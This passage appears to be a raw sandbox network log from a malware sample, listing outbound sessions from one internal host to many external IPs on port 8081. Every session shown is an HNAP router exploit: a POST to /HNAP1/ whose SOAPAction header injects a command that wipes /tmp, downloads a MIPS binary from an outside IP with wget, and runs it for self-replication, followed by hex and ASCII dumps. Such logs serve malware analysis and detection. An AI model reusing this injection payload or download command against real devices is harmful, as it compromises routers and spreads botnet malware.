6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	43346	59.118.248.133	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.329740047 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	46406	120.161.159.9	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.331705093 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	53164	133.97.201.216	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.336510897 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	41110	68.208.130.213	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.339342117 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	51946	137.17.247.121	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.342236042 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	38060	129.234.53.71	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.344760895 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	36642	100.189.148.44	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.348093987 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	50424	32.17.126.48	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.350769043 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	45274	115.217.160.85	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.354022026 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	50834	36.176.160.146	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.356370926 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	36072	93.210.42.24	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:43.359906912 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 